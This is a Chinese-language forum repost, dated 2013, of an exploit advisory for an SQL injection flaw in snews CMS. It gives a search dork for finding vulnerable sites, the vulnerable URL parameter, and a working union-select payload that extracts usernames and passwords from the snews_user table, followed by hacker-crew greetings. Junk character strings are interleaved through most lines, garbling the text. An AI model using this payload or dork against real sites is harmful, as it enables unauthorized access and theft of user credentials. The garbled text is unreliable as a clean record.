标题: CMS snews SQL Injection Vulnerability$ E- y, {- k0 f4 P: t
作者: By onestree
+ I' E* r! {$ g5 A下载地址 : http://snewscms.com/9 ?5 r0 ^$ f( O' o$ y
测试平台 : ubuntu 12.10 / win 7. {# y0 Z7 @4 V1 A* W
关键词: inurl:"tanyakan pada rumput yang bergoyang". J8 k5 _ `4 H! G/ k$ P/ {
) F* ?& V* x; u- T7 P5 h7 L
t. H) b* z: v, }*************************************************************7 R, ` Q# r+ X
3 g& t$ M0 S- ?* h
SQL poc:+ {, _% d2 w" T; @
# t% N+ F8 p' x' G& d& e5 { d+ h1 J
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
) d3 v2 N* ^- D9 `: X3 W( O
! H p. n/ v U6 H示例
0 z' ]7 F* R. s& }0 A4 U; R! ? ! b, J$ s/ S8 p9 W; t5 P5 E" U- a' p
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
( a8 C! `& Q7 M 0 R9 h$ }( C9 l6 Z
: A# L8 K2 t3 e' A" y' p
致谢:
1 a% T0 Y" M& B; J) N , O, S$ `( @7 T8 @5 y5 s! I8 a
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell$ b, O& C! i% u; L1 d- L4 d
* S: F( W W# ?8 X9 N6 t- Q4 d indonesiancoder - moeslimh4x0r - go-coder e8 I% K8 y2 U2 n0 X
0 |7 a' H* v' R; b9 B$ P- {
spesial my hunny :*" ^& d' i5 ]' J/ F& \7 E0 ]
|
发表于 2013-1-23 08:55:06
收藏
支持
反对